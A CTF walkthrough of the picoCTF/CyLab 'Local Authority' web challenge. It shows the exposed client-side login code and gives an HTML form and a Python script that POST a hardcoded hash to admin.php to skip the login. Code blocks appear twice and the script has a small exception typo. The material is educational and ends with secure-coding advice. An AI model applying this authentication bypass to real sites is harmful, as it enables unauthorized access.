September 4, 2026
Local Authority CTF Walkthrough โ CyLab / picoCTF Web Exploitation

By Gokulworkid
3 min read
picoCTF/CyLab SECURITY ACADEMY Web Exploitation: Local Authority
Category: Web Exploitation
Difficulty: Easy
Platform: CyLab SECURITY ACADEMY
Challenge URL: https://learn.cylabacademy.org/library/278?page=1&category=1&difficulty=1
This write-up is a walkthrough of solving a medium-level CTF Local Authority on CyLab SECURITY ACADEMY. Let's go through the solution, shall we?
STEP 1: Reconnaissance
As we navigate to the challenge web app we see a very simple login form with a username and password.
STEP 2: Enumeration and Exploit
Let's try logging in with a random and common username & password admin:admin
As we login with username and password as admin we see the response as Log In Failed and on inspecting we see two scripts shown on client side named 'secure.js' and 'admin.php'
On inspecting secure.js we see an very insecure authentication javascript code that is visible to the user in the front end.
It is a very weak,insecure and simple authentication code where the username and password is hard-coded into the code itself and checks are made based on that and on using the hard-coded credentials we can login and gain our flag
Deeper Analysis: Authentication Bypass via Exposed Hash
While logging in with the hardcoded admin:admin credentials works perfectly, inspecting the source code of login.php reveals a much more severe architectural vulnerability.
The client-side JavaScript contains the following logic upon a successful login check:
if(loggedIn)
{
document.getElementById('msg').innerHTML = "Log In Successful";
document.getElementById('adminFormHash').value = "2196812e91c29df34f5e217cfd639881";
document.getElementById('hiddenAdminForm').submit();
}
else
{
document.getElementById('msg').innerHTML = "Log In Failed";
} if(loggedIn)
{
document.getElementById('msg').innerHTML = "Log In Successful";
document.getElementById('adminFormHash').value = "2196812e91c29df34f5e217cfd639881";
document.getElementById('hiddenAdminForm').submit();
}
else
{
document.getElementById('msg').innerHTML = "Log In Failed";
}The Vulnerability: The application does not manage authentication via secure server-side session cookies. Instead, access to admin.php is granted purely by submitting a static, hardcoded hash (2196812e91c29df34f5e217cfd639881) via a POST request. Because this hash is exposed in the frontend code, we do not need to interact with the login form at all. We can bypass the login mechanism entirely by sending this hash directly to admin.php.
Here are two alternative ways to exploit this exposed hash:
Alternative Method 1: The "CSRF-Style" HTML Payload
Because the server blindly accepts POST requests containing the correct hash without validating the origin of the request, we can craft our own external HTML form. This behaves similarly to a Cross-Site Request Forgery (CSRF) payload, as it allows us to execute a cross-origin POST request from our local machine directly to the target server.
By saving the following code as a local .html file and opening it in our browser, we can instantly retrieve the flag:
## Make sure to change the <PORT> to your challenge port and click on the submit button ##
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://saturn.picoctf.net:<PORT>/admin.php" method="post">
<input type="hidden" name="hash" id="adminFormHash" value="2196812e91c29df34f5e217cfd639881">
<input type="submit" value="submit">
</form>
</body>
</html>## Make sure to change the <PORT> to your challenge port and click on the submit button ##
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://saturn.picoctf.net:<PORT>/admin.php" method="post">
<input type="hidden" name="hash" id="adminFormHash" value="2196812e91c29df34f5e217cfd639881">
<input type="submit" value="submit">
</form>
</body>
</html>Alternative Method 2: Automated Python Exploit
For a more programmatic approach, we can bypass the browser entirely. Since we know the exact endpoint and the required POST data, we can write a simple Python script using the requests library to automate the extraction of the flag.
from urllib.parse import urljoin
import requests
from bs4 import BeautifulSoup as bs
def print_banner():
banner = r"""
_ _ _ _ _ _ty
| | ___ ___ __ _| | / \ _ _| |_| |__ ___ _ __ (_) |_ _ _
| | / _ \ / __/ _` | | / _ \| | | | __| '_ \ / _ \| '__|| | __| | | |
| |__| (_) | (_| (_| | |/ ___ \ |_| | |_| | | | (_) | | | | |_| |_| |
|_____\___/ \___\__,_|_/_/ \_\__,_|\__|_| |_|\___/|_| |_|\__|\__, |
|___/
[ Local Authority CTF Solver ]
"""
print(banner)
def exploit():
print_banner()
url = input("[+] Enter the challer url : ")
endpoint = urljoin(url,"admin.php")
payload = {"hash" : "2196812e91c29df34f5e217cfd639881"}
try:
print("[+] Sending request ...")
response = requests.post(endpoint,data=payload)
html_strip = bs(response.text,"html.parser")
flag = html_strip.body.get_text(separator='\n',strip=True)
print(f"[+] Received flag : {flag}")
except requests.exception.ConnectionError:
print("[-] Connection failed.")
except requests.exceptions.Timeout:
print("[-] Took too long to respond")
except :
print("[-] Something went wrong")
if __name__ == "__main__":
exploit()from urllib.parse import urljoin
import requests
from bs4 import BeautifulSoup as bs
def print_banner():
banner = r"""
_ _ _ _ _ _ty
| | ___ ___ __ _| | / \ _ _| |_| |__ ___ _ __ (_) |_ _ _
| | / _ \ / __/ _` | | / _ \| | | | __| '_ \ / _ \| '__|| | __| | | |
| |__| (_) | (_| (_| | |/ ___ \ |_| | |_| | | | (_) | | | | |_| |_| |
|_____\___/ \___\__,_|_/_/ \_\__,_|\__|_| |_|\___/|_| |_|\__|\__, |
|___/
[ Local Authority CTF Solver ]
"""
print(banner)
def exploit():
print_banner()
url = input("[+] Enter the challer url : ")
endpoint = urljoin(url,"admin.php")
payload = {"hash" : "2196812e91c29df34f5e217cfd639881"}
try:
print("[+] Sending request ...")
response = requests.post(endpoint,data=payload)
html_strip = bs(response.text,"html.parser")
flag = html_strip.body.get_text(separator='\n',strip=True)
print(f"[+] Received flag : {flag}")
except requests.exception.ConnectionError:
print("[-] Connection failed.")
except requests.exceptions.Timeout:
print("[-] Took too long to respond")
except :
print("[-] Something went wrong")
if __name__ == "__main__":
exploit()Takeaway: This challenge highlights two massive anti-patterns in web development:
- Never hardcode credentials in client-side code.
- Never rely on static, exposed tokens for access control. Authentication must be handled dynamically on the server-side using secure, unguessable session identifiers.
LinkedIn : www.linkedin.com/in/gokul-t-37b983357